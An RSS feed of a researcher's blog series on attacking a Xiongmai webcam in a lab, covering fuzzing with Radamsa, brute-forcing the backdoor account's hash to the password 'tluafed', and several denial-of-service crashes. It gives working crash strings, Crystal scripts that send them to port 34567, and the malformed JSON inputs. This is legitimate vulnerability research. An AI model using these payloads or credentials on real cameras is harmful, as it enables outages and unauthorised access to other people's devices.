<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:media="http://search.yahoo.com/mrss/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">
  <channel>
    <title>SOL.VIN Journal - Xiongmai - Investigational Journey</title>
    <link>https://sol.vin/xiongmai_journey/</link>
    <description>A journey through a horribly insecure webcam, and the discovery, and fruititon of a client hijacking exploit.</description>
    <language>en-us</language>
    <copyright>Copyright (c) 2026 Ian Rash</copyright>
    <managingEditor>Ian Rash</managingEditor>
    <webMaster>Ian Rash</webMaster>
    <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
    <lastBuildDate>Wed, 04 Sep 2019 00:00:00 GMT</lastBuildDate>
    <generator>SOL.VIN Static Site Generator (Crystal)</generator>
    <docs>https://www.rssboard.org/rss-specification</docs>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <atom:link href="https://sol.vin/xiongmai_journey/rss.xml" rel="self" type="application/rss+xml" />
    <image>
      <url>https://sol.vin/apple-touch-icon.png</url>
      <title>SOL.VIN Journal - Xiongmai - Investigational Journey</title>
      <link>https://sol.vin/xiongmai_journey/</link>
    </image>
    <category domain="chain">Xiongmai - Investigational Journey</category>
    <category domain="skill">Exploit PoC Development</category>
    <dc:subject>Exploit PoC Development</dc:subject>
    <category domain="skill">Security Research</category>
    <dc:subject>Security Research</dc:subject>
    <category domain="skill">Fuzzing</category>
    <dc:subject>Fuzzing</dc:subject>
    <category domain="skill">Exploitation</category>
    <dc:subject>Exploitation</dc:subject>
    <category domain="skill">C</category>
    <dc:subject>C</dc:subject>
    <category domain="skill">Reverse Engineering</category>
    <dc:subject>Reverse Engineering</dc:subject>
    <category domain="skill">Hardware Security</category>
    <dc:subject>Hardware Security</dc:subject>
    <item>
      <title>Denial of Service</title>
      <link>https://sol.vin/xiongmai_journey/8.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/8.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <description><![CDATA[<p>During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!</p>
<p>The first thing I did was backup the string, then I cut pieces out until the crash stopped working.</p>
<p>The first thing I did was cut out the &quot;message&quot; portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn&#39;t. I found that a size field over 0x80000000 would cause the crash.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\x85\x05&quot; + &quot;\x00\x00\x00\x80&quot;</code></pre>
<p>This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.</p>
<p>Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the &quot;login&quot; command is the most unprivilieged, that should be the next target.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\xe8\x03&quot; + &quot;\x00\x00\x00\x80&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
#socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>This produces:</p>
<pre class="code-block"><code>SENT: &quot;\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80&quot;

Unhandled exception:  (MagicError::ReceiveEOF)
  from src/magic_fuzzer/magic_socket.cr:0:7 in &#39;receive_message&#39;
  from src/sandbox.cr:69:1 in &#39;__crystal_main&#39;
  from /usr/share/crystal/src/crystal/main.cr:97:5 in &#39;main_user_code&#39;
  from /usr/share/crystal/src/crystal/main.cr:86:7 in &#39;main&#39;
  from /usr/share/crystal/src/crystal/main.cr:106:3 in &#39;main&#39;
  from __libc_start_main
  from _start
  from ???</code></pre>
<p>The ReceiveEOF proves that the socket closed and the server went down.</p>
<p>The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.</p>
<div class="video-container"><iframe src="https://www.youtube.com/embed/SnyPJtDDMFQ" allowfullscreen></iframe></div>
<p>While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the &quot;Message Quotes&quot; and &quot;Options Wrong Type&quot; vulnerabilities.</p>
<h2>Message Quotes DoS</h2>
<p>This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all commands.</p>
<h2>Options Wrong Type DoS</h2>
<p>This takes advantage of another issue in the JSON processing the camera&#39;s server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, the have the option of including a hash of options under the root as the same name of command.</p>
<p>Example:</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;:  {
    &quot;Action&quot;: &quot;Claim&quot;,
    &quot;Action1&quot;:  &quot;Start&quot;,
    &quot;Parameter&quot;:  {
      &quot;Channel&quot;:  0,
      &quot;CombinMode&quot;: &quot;NONE&quot;,
      &quot;StreamType&quot;: &quot;Main&quot;,
      &quot;TransMode&quot;:  &quot;TCP&quot;
    }
  },
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<p>Under the &quot;OPMonitor&quot; key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with an non-nested type, like a string or a number. For example, the following string crashes the camera.</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;: 0,
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!</p>
<p>The first thing I did was backup the string, then I cut pieces out until the crash stopped working.</p>
<p>The first thing I did was cut out the &quot;message&quot; portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn&#39;t. I found that a size field over 0x80000000 would cause the crash.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\x85\x05&quot; + &quot;\x00\x00\x00\x80&quot;</code></pre>
<p>This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.</p>
<p>Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the &quot;login&quot; command is the most unprivilieged, that should be the next target.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\xe8\x03&quot; + &quot;\x00\x00\x00\x80&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
#socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>This produces:</p>
<pre class="code-block"><code>SENT: &quot;\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80&quot;

Unhandled exception:  (MagicError::ReceiveEOF)
  from src/magic_fuzzer/magic_socket.cr:0:7 in &#39;receive_message&#39;
  from src/sandbox.cr:69:1 in &#39;__crystal_main&#39;
  from /usr/share/crystal/src/crystal/main.cr:97:5 in &#39;main_user_code&#39;
  from /usr/share/crystal/src/crystal/main.cr:86:7 in &#39;main&#39;
  from /usr/share/crystal/src/crystal/main.cr:106:3 in &#39;main&#39;
  from __libc_start_main
  from _start
  from ???</code></pre>
<p>The ReceiveEOF proves that the socket closed and the server went down.</p>
<p>The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.</p>
<div class="video-container"><iframe src="https://www.youtube.com/embed/SnyPJtDDMFQ" allowfullscreen></iframe></div>
<p>While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the &quot;Message Quotes&quot; and &quot;Options Wrong Type&quot; vulnerabilities.</p>
<h2>Message Quotes DoS</h2>
<p>This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all commands.</p>
<h2>Options Wrong Type DoS</h2>
<p>This takes advantage of another issue in the JSON processing the camera&#39;s server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, the have the option of including a hash of options under the root as the same name of command.</p>
<p>Example:</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;:  {
    &quot;Action&quot;: &quot;Claim&quot;,
    &quot;Action1&quot;:  &quot;Start&quot;,
    &quot;Parameter&quot;:  {
      &quot;Channel&quot;:  0,
      &quot;CombinMode&quot;: &quot;NONE&quot;,
      &quot;StreamType&quot;: &quot;Main&quot;,
      &quot;TransMode&quot;:  &quot;TCP&quot;
    }
  },
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<p>Under the &quot;OPMonitor&quot; key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with an non-nested type, like a string or a number. For example, the following string crashes the camera.</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;: 0,
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Brute Force</title>
      <link>https://sol.vin/xiongmai_journey/7.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/7.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/wireshark/err.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/wireshark/err.png" />
      <description><![CDATA[<p>Looking at the hashing format, we know it&#39;s going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.</p>
<pre class="code-block"><code>require &quot;./dahua_hash&quot;

module Brute
  def self.run(hash : String, start = &quot;a&quot;) : String
    current = start
    counter = 0
    success = false

    start_time = Time.now
    until success
      if Dahua.digest(current) == hash
        puts &quot;SUCCESS!!!&quot;
        success = true
        break
      end

      counter += 1
      current = current.succ

      if counter % 1_000_000 == 0
        puts &quot; @ #{current} : #{Time.now - start_time}&quot;
      elsif counter % 10_000 == 0
        print &#39;.&#39;
      end
    end
    end_time = Time.now

    puts &quot;Time: #{end_time - start_time}&quot;
    puts &quot;Result: #{current} : #{Dahua.digest(current)}&quot;
    current
  end
end</code></pre>
<p>We know the details of the &quot;user&quot; account, so all we need to do is plug it in and BAM!</p>
<pre class="code-block"><code>Brute.run(&quot;OxhlwSG8&quot;)</code></pre>
<p>We end up getting back the string &quot;tluafed&quot;, or &quot;default&quot; backwards, after about 16 or so hours.</p>
<p>Looking up this string provides an <a href="https://www.zdnet.com/article/over-nine-million-cameras-and-dvrs-open-to-apts-botnet-herders-and-voyeurs/">interesting article</a> which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.</p>
<center>
<img src="/images/xiongmai/wireshark/err.png" style="width: 100%; height: 100%;">
</center>
<p>So now we know for certain that the camera is actually a Xiongmai product, not Besder.</p>
]]></description>
      <content:encoded><![CDATA[<p>Looking at the hashing format, we know it&#39;s going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.</p>
<pre class="code-block"><code>require &quot;./dahua_hash&quot;

module Brute
  def self.run(hash : String, start = &quot;a&quot;) : String
    current = start
    counter = 0
    success = false

    start_time = Time.now
    until success
      if Dahua.digest(current) == hash
        puts &quot;SUCCESS!!!&quot;
        success = true
        break
      end

      counter += 1
      current = current.succ

      if counter % 1_000_000 == 0
        puts &quot; @ #{current} : #{Time.now - start_time}&quot;
      elsif counter % 10_000 == 0
        print &#39;.&#39;
      end
    end
    end_time = Time.now

    puts &quot;Time: #{end_time - start_time}&quot;
    puts &quot;Result: #{current} : #{Dahua.digest(current)}&quot;
    current
  end
end</code></pre>
<p>We know the details of the &quot;user&quot; account, so all we need to do is plug it in and BAM!</p>
<pre class="code-block"><code>Brute.run(&quot;OxhlwSG8&quot;)</code></pre>
<p>We end up getting back the string &quot;tluafed&quot;, or &quot;default&quot; backwards, after about 16 or so hours.</p>
<p>Looking up this string provides an <a href="https://www.zdnet.com/article/over-nine-million-cameras-and-dvrs-open-to-apts-botnet-herders-and-voyeurs/">interesting article</a> which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.</p>
<center>
<img src="/images/xiongmai/wireshark/err.png" style="width: 100%; height: 100%;">
</center>
<p>So now we know for certain that the camera is actually a Xiongmai product, not Besder.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Fuzzing With Radamsa</title>
      <link>https://sol.vin/xiongmai_journey/6.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/6.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <description><![CDATA[<p>I&#39;d never heard of this tool, until I happened to stumble upon it in a <a href="https://www.youtube.com/watch?v=kMu1J8QdxE8">LiveOverflow</a> video. The tool is, very neat to say the least. It takes an input &quot;sample&quot; data, and mutates it in various ways to cause potential bad behavior in an application.</p>
<p>From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave.</p>
<pre class="code-block"><code>File.open(&quot;./rsrc/op_monitor.txt&quot;, &quot;w+&quot;) do |file|
  file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open(&quot;./logs/radamsa/op_monitor.log&quot;, &quot;w+&quot;) do |file|
  puts &quot;Testing connection&quot;
  socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
  socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
  xmm = Command::OPMonitor.new
  socket.send_message xmm
  puts &quot;SENT: #{xmm.message}&quot;
  reply = socket.receive_message
  puts &quot;GOT: #{reply.message}&quot;

  1000.times do |x|
    begin
      socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
      socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
      message = `radamsa ./rsrc/op_monitor.txt`
      file.puts &quot;SENT: #{message.inspect}&quot;
      socket.send message
      reply = socket.receive_message
      file.puts &quot;GOT: #{reply.message.inspect}&quot;
    rescue e : MagicError::SocketException
      puts &quot;SOCKET DOWN! #{e.inspect}&quot;
      raise e
    rescue e : MagicError::Exception
      file.puts &quot;ERROR: #{e.inspect}&quot;
      puts &quot;ERROR: #{e.inspect}&quot;
    rescue e
      file.puts &quot;BAD ERROR: #{e.inspect}&quot;
      puts &quot;BAD ERROR: #{e.inspect}&quot;
    end
  end
end</code></pre>
<p>I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it&#39;s fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\&quot;Name\&quot;:\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;:{\&quot;Action\&quot;:\&quot;Claim\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Stre amT\u000E\xFE\xFFype\&quot;:\&quot;Main\&quot;,\&quot;TransMode\&quot;:\&quot;TCP\&quot;}},\&quot;Sess󠁎ionID\&quot;:\&quot;4294967296xAbcdef256\&quot;}&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>Already Radamsa has helped us find a new and exciting vulnerability.</p>
<h2>Final notes on fuzzing</h2>
<p>We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.</p>
]]></description>
      <content:encoded><![CDATA[<p>I&#39;d never heard of this tool, until I happened to stumble upon it in a <a href="https://www.youtube.com/watch?v=kMu1J8QdxE8">LiveOverflow</a> video. The tool is, very neat to say the least. It takes an input &quot;sample&quot; data, and mutates it in various ways to cause potential bad behavior in an application.</p>
<p>From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave.</p>
<pre class="code-block"><code>File.open(&quot;./rsrc/op_monitor.txt&quot;, &quot;w+&quot;) do |file|
  file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open(&quot;./logs/radamsa/op_monitor.log&quot;, &quot;w+&quot;) do |file|
  puts &quot;Testing connection&quot;
  socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
  socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
  xmm = Command::OPMonitor.new
  socket.send_message xmm
  puts &quot;SENT: #{xmm.message}&quot;
  reply = socket.receive_message
  puts &quot;GOT: #{reply.message}&quot;

  1000.times do |x|
    begin
      socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
      socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
      message = `radamsa ./rsrc/op_monitor.txt`
      file.puts &quot;SENT: #{message.inspect}&quot;
      socket.send message
      reply = socket.receive_message
      file.puts &quot;GOT: #{reply.message.inspect}&quot;
    rescue e : MagicError::SocketException
      puts &quot;SOCKET DOWN! #{e.inspect}&quot;
      raise e
    rescue e : MagicError::Exception
      file.puts &quot;ERROR: #{e.inspect}&quot;
      puts &quot;ERROR: #{e.inspect}&quot;
    rescue e
      file.puts &quot;BAD ERROR: #{e.inspect}&quot;
      puts &quot;BAD ERROR: #{e.inspect}&quot;
    end
  end
end</code></pre>
<p>I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it&#39;s fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\&quot;Name\&quot;:\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;:{\&quot;Action\&quot;:\&quot;Claim\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Stre amT\u000E\xFE\xFFype\&quot;:\&quot;Main\&quot;,\&quot;TransMode\&quot;:\&quot;TCP\&quot;}},\&quot;Sess󠁎ionID\&quot;:\&quot;4294967296xAbcdef256\&quot;}&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>Already Radamsa has helped us find a new and exciting vulnerability.</p>
<h2>Final notes on fuzzing</h2>
<p>We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Advanced Fuzzing</title>
      <link>https://sol.vin/xiongmai_journey/5.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/5.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a &quot;pool&quot; of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.</p>
<p>You can view the relevant code on <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/src/magic_fuzzer/magic_fuzzer.cr">GitHub</a>.</p>
<pre class="code-block"><code>Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
